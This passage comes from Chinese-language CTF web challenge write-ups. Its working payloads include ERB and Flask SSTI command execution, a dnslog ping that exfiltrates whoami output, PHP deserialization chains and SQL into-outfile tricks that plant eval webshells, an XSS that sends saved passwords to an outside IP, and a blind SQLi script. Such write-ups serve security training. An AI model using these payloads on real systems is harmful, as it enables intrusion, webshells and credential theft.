  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

ERB模板注入

注入点

1
2
3
4
5
6
 if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

do和name要相同,有长度限制7字符,除去<%=%>只剩下两个字符,利用ruby的预定义变量$',可以匹配最后一次匹配右边的内容

1
2
3
4
 unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end

这里还有正则匹配,需要有SECRET参数且为false,$'就能获取secret

1
2
<%=$'%>
url编码一下:%3C%25%3D%24%27%25%3E

甚至可以不传SECRET参数

1
/work?name=%3C%25%3D%24%27%25%3E&do=%3C%25%3D%24%27%25%3E%20is%20working

获取到secret值

image-20250426165429367

拿着key伪造

image-20250426165808850

/shop路由改cookie

image-20250426165855107

这里看到有rce的做法

1
2
3
4
$a = "mon123"
$b = Array["aaa","bbb","ccc"]
puts "$a: #{$a[0,3]}"//mon
puts "$b: #{$b[0,3]}"//["aaa","bbb","ccc"]

这里,$b原本是数组,但是因为被拼接到了字符串中,所以数组默认的类型变成了["aaa", "bbb", "ccc"],这样上面代码的限制,从原本的7个字符,变成了7个数组长度

1
/work?name[]=<%=system('ping -c 1 `whoami`.xuu1g4.dnslog.cn')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6&do=["<%=system('ping -c 1 `whoami`.xuu1g4.dnslog.cn')%>", "1", "2", "3", "4", "5", "6"] is working

[N1CTF 2018]eating_cms

先进register.php注册后登入

url可以任意文件读取

伪协议读一下

1
user.php?page=php://filter/convert.base64-encode/resource=index

function.php

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}


function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

?>
1
2
3
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);

这里用到parse_url的解析漏洞,在/user.php前面加斜杠,就会被当成host解析,返回false绕过黑名单

1
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
1
2
3
4
5
6
7
<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}else {
    echo "you can find sth in m4aaannngggeee";
}
?>

提示templates/upload.html

发现upllloadddd.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>
1
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

这里可以用;拼接命令来执行

找到前面能上传的地方

image-20250426234534442

斜杠被过滤了,cd ..回上级目录,其实加个#就不用base64解码了

image-20250426234701353

[GYCTF2020]Easyphp

www.zip下载源码

1
2
3
4
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

反序列化字符串逃逸

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
    class User{
        public $age=null;
        public $nickname=null;
        public function __construct(){
            $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
            $this->nickname = new Info();
        }
    }

    class Info{
        public $CtrlCase;
        public function __construct(){
            $this->CtrlCase = new dbCtrl();
        }
    }
    Class UpdateHelper{
        public $sql;
        public function __construct()
        {
            $this->sql = new User();
        }
    }
    class dbCtrl{
        public $name = "admin";
        public $password = "1";
    }

    $o = new UpdateHelper;
    echo serialize($o);

得到

1
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

反序列化点在这里

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

update.php里面post传age和nickname

1
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

然后用admin登入

[SUCTF 2018]MultiSQL

这里利用sql的预处理语句

set 的作用就是定义一个变量,变量的命名必须是@开头。

prepare和execute prepare语句用于预定义一个语句,并可以指定预定义语句名称。execute则是执行预定义语句。

1
select <?php eval($_POST[_]);?> into outfile /var/www/html/favicon/shell.php;

利用char绕过waf

先转进制

1
2
3
4
5
6
7
8
str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';"
len_str=len(str)
for i in range(0,len_str):
	if i == 0:
		print('char(%s'%ord(str[i]),end="")
	else:
		print(',%s'%ord(str[i]),end="")
print(')')
1
char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)

payload

1
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

然后访问/favicon/shell.php

[SUCTF 2018]annonymous

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 <?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__); 

hash随机生成数字拼接到下面函数中,这个随机没办法,但是create_function函数有个漏洞,上次搞[HITCON 2017]Baby^h Master PHP的时候遇到了

会生成匿名函数\0lambda_%d

通过大量的请求来迫使Pre-fork模式启动

1
2
3
4
5
6
7
import requests
while True:
    r=requests.get('http://a10002f2-2091-47dc-9b7c-996d05cd4faa.node3.buuoj.cn/?func_name=%00lambda_1')
    if 'flag' in r.text:
        print(r.text)
        break
    print('[-]')

image-20250427095941786

[RootersCTF2019]babyWeb

报错注入,过滤or用||绕过

过滤单双引号用16进制绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
search=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
//sql_injection

search=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716C5F696E6A656374696F6E),0x7e),1)%23
//users

search=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),0x7e),1)%23
search=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),0x7e),1)%23
//USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,user,uniqueid

search=1 and updatexml(1,concat(0x7e,(select count(uniqueid) from users),0x7e),1)%23
//2

search=1 and updatexml(1,concat(0x7e,(select group_concat(uniqueid) from users),0x7e),1)%23
//837461526918364526,123456789928466788

或者用万能密码

1
1 || 1=1 limit 0,1

[安洵杯 2019]不是文件上传

先用源码的反序列化

1
2
3
4
5
6
7
8
<?php
class helper {
    protected $ifview = True; 
    protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
1
O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}

因为都是protected属性的,用\0\0\0替换(源码给的

1
2
3
foreach($data as $key=>$value){
            $key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
            $value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
1
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

然后源码有这一行

1
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";

看返回值titile可控

拼接然后16进制绕过双引号waf

1
1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg

然后修改文件名

访问show.php触发反序列化

[强网杯 2019]Upload

目录扫描www.tar.gz

thinkphp5

profile.php下面有两个魔术方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

register.php里面也有

1
2
3
4
5
6
public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }
1
Profile赋值checker,触发call,然后agrument为空,触发get,然后except可控

然后回来看上传的逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }
public function update_img(){
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }            

第一次上传就能使empty=1,绕过.png的拼接

要使ext=1

index.php里面会反序列化cookie

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
namespace app\web\controller;

class Register{
    public $checker;
    public $registed =0;//目的是过destruct里的if;
}
class Profile{
    public $checker =0 ;//目的是绕过index类的检查,防止退出程序
    public $filename_tmp="./upload/9987df285bb375eda68448315c5656e5/4a47a0db6e60853dedfcfdf08a5ca249.png";
	public $upload_menu;
    public $filename="upload/shell.php";
    public $ext=1;//目的是过if来调用复制webshell
	public $img;
    public $except=array("index"=>"upload_img");//目的是通过__get()魔术方法调用upload_Img函数
}

$a = new Register();
$a->checker = new Profile();//目的是调用POP链
$a->checker->checker=0//调用pop链防止退出程序

echo base64_encode(serialize($a));

cookie替换完访问/upload/shell.php

[CISCN2019 华东南赛区]Web4

file协议读不出来,猜测python写的界面

利用local_file://协议读文件,或者什么都不用直接读文件

1
/read?url=local_file:///etc/passwd

读app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

可以看到要访问flag路由,而且session里面的username要为fuck

image-20250428191150961

username那个字段是base64编码后的www-data

要知道secret-key就能伪造了

伪造session首先要拿到secret_key,看一下secret_key的生成方式

1
2
random.seed(uuid.getnode()) //种子是uuid.getnode(),即机器的固定标识符,根据mac地址转化为十进制数
app.config['SECRET_KEY'] = str(random.random()*233) //这里有了种子就可以自己生成secret_key

读取/sys/class/net/eth0/address获取mac地址

4e:46:44:62:43:f0

1
2
3
4
import random
random.seed(0x4e46446243f0)
print(str(random.random()*233))
//12.498945071696037

然后flask-session伪造

这里是py2环境

1
python flask_session_cookie_manager2.py encode -s 12.498945071696037 -t "{'username':b'fuck'}"

[GXYCTF2019]BabysqliV3.0

弱口令admin/password

进去伪协议读源码

upload.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
error_reporting(0);
class Uploader{
	public $Filename;
	public $cmd;
	public $token;
	

	function __construct(){
		$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];
	}

	function upload($file){
		global $sandbox;
		global $ext;

		if(preg_match("[^a-z0-9]", $this->Filename)){
			$this->cmd = "die('illegal filename!');";
		}
		else{
			if($file['size'] > 1024){
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
			}
		}
	}

	function __toString(){
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}

	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

?>

phar反序列化

非预期,filename可控,直接传参

1
/home.php?file=upload&name=/var/www/html/flag.php

得到flag

原来还有一个直接上传一句话木马的非预期估计给修了

1
2
3
4
if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);

token可以通过随便上传文件来获取

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
class Uploader{
    public $Filename;
    public $cmd;
    public $token;
}

$upload = new Uploader();
$upload->cmd = "highlight_file('/var/www/html/flag.php');";
$upload->Filename = 'test';
$upload->token = 'GXY063c630ae7ab41c6fd121cb4851620a3';

$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($upload); 
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();

[pasecactf_2019]flask_ssti

简单的ssti

过滤下划线和单引号,16进制绕过

1
{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("whoami")["read"]()}}

flag不在目录

读config看到加密后的

1
2
3
4
def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W34', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT5')

由于是异或再运行一遍就行了

或者读proc/self/fd/3

因为fd目录可以读到被删的的文件内容

但是上面直接读是没有的

因为self指向前面的popen,popen跟flag操作无关

我们先读ps进程,读到pid为1

1
cat /proc/1/fd/3

[EIS 2019]EzPOP

构造pop链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class A {
    protected $store;
    protected $key;
    protected $expire;

    public function __construct($store,$key,$expire)
    {
        $this->key=$key;
        $this->expire=$expire;
        $this->store=$store;
    }
}

class B{
    public $option;
}

$b=new B();
$b->options['serialize']='base64_decode';
$b->options['data_compress']=false;
$b->options['prefix']='php://filter/write=string.strip_tags|convert.base64-decode/resource=uploads/';

$a=new A($b,'shell.php',0);
$a->autosave=false;
$a->cache=array();
$a->complete=base64_encode(base64_encode('<?php @eval($_POST["cmd"]); ?>'));
echo urlencode(serialize($a));
?>

[GWCTF 2019]mypassword

注册登入后查看feedback.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
if(is_array($feedback)){
				echo "<script>alert('反馈不合法');</script>";
				return false;
			}
			$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
			foreach ($blacklist as $val) {
		        while(true){
		            if(stripos($feedback,$val) !== false){
		                $feedback = str_ireplace($val,"",$feedback);
		            }else{
		                break;
		            }
		        }
		    }

黑名单一看就是xss

由于前面login.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
if (document.cookie && document.cookie != '') {
	var cookies = document.cookie.split('; ');
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');
		var key = arr[0];
		cookie[key] = arr[1];
	}
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
		document.getElementsByName("username")[0].value = cookie['user'];
		document.getElementsByName("password")[0].value = cookie['psw'];
	}
}

记住密码功能会将读取cookie中的password

于是构造一个登录框并且引入login.js提交反馈等待bot点开获得flag

1
2
3
4
5
6
7
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
	var psw = docucookiement.getcookieElementsByName("password")[0].value;
	docucookiement.locacookietion="http://47.122.53.248:2333/?psw="+psw;
</scrcookieipt>

[HFCTF2020]BabyUpload

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

由于session是PHPSESSID我们直接sess_sessid查看session文件

image-20250506191720940

处理器应该为php_binary

脚本伪造session文件

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("./");
session_start();

$_SESSION['username'] = 'admin';

文件名改为sess,利用hash_file来计算sha256

1
2
<?php
echo hash_file('sha256', './sess');

得到文件名sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

上传用postman

或者脚本传

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import requests
import hashlib
from io import BytesIO
def BeAdmin():
    # print(BytesIO('\x08usernames:5:"admin";'.encode('utf-8')))
    files = {
        "up_file": ("sess", BytesIO('\x08usernames:5:"admin";'.encode('utf-8')))
    }
    data = {
        'attr':'.',
        'direction':'upload'
    }
    url = 'http://375fb983-49c0-4074-a8e6-6c98e5206ddc.node5.buuoj.cn:81/'
    r = requests.post(url=url,data=data,files=files)
    session_id = hashlib.sha256('\x08usernames:5:"admin";'.encode('utf-8')).hexdigest()
    return session_id

这里我用apifox,上传用upload

image-20250506194543059

接着上传success.txt

image-20250506194942140

然后把session值改一下就行了

[SWPU2019]Web4

上来盲注出备份文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#author: c1e4r
import requests
import json
import time

def main():
    #题目地址
    url = '''http://f30f0574-3492-4a09-a14f-203db6705c1a.node5.buuoj.cn:81/index.php?r=Login/Login'''
    #注入payload
    payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
    flag = ''
    for i in range(1,30):
        #查询payload
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(0,128):
            #将构造好的payload进行16进制转码和json转码
            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url = url, data = data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

glzjin_wants_a_girl_friend.zip

